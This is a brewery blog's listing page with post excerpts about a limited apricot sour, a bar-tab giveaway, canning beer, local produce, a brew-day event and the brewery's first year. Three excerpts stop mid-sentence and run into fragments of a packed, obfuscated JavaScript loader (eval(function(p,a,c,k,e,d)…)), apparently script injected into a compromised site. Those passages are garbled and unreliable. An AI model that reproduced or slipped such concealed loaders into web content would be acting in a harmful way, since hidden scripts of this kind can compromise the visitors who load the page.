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To help celebrate another awesome year of Brewsvegas, we have brewed a limited edition fruited sour that we will be released at the Woolly Mammoth & Calibre Beer Block Party. Our little Sunshine Coast Brewery has dreamed up a delicious Apricot Sour, using Maleny Dairy’s Natural Yoghurt as a souring agent and apricot puree…(Read More)

We all love the weekend. But we have something better!!!!! “What could be better than the weekend??” you ask. A free bar tab to kick-start your Friday afternoon knock off beers!! If you are organised enough and have three friends, we want to give you $25 to help you through back some cold ones…(Read More)

It is that time of year again!! The time of year where Australia votes for the best of the best in 2017. Triple J has got the Hottest eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c…(Read More)

Diving into the world of craft beer is an eye-opening experience and adventure in itself. Once you have fought your way through all those so-called “Craft Beers” secretly owned by the big two, you discover a world of beer that you would never have imagined. In this world, the style and flavours of…(Read More)

2017 has been a massive year for us. We started canning our beautifully brewed beer. We got our takeaway licence and are now able to sell and fill growlers from the brewery. We won Best Brewery at the Inaugural events night of the converted The Beeries Awards. Attended countless festivals, brewed countless collabs (shout out…(Read More)

Why we can our beer

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When it came to packaging our beer for distribution, it was no question that we were going to the can. Why the can you ask? Great question!! There are many reasons why we landed on the decision to use the tinny over the stubby. Fresh eval(function(p,a,c,k,e,d){e=function…(Read More)

After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c…(Read More)

At Brouhaha, our Head Chef, James Ostridge, and his team pride themselves on providing our guests with only the best locally sourced produce from the Maleny and Sunshine Coast Hinterland Regions. Maleny is a small community, and this shows not only through our relationships with our guests and suppliers but also through the partnerships that…(Read More)

We have all dreamt of owning a craft brewery and living the glamorous life of an independent brewer. On Saturday 1 July, we let 11 lucky blokes live out this dream, but making wake up before the sun and get to the brewery at 6 am on a cold Maleny morning. These guys were going…(Read More)

It is hard to believe that only 12 months ago we opened our doors and poured our first beer! Since that time, we have poured over 30,000 litres of beer through our taps, brewed more than 30 different types of beers, started canning and have been distributed to more than 60 different bars, pubs…(Read More)

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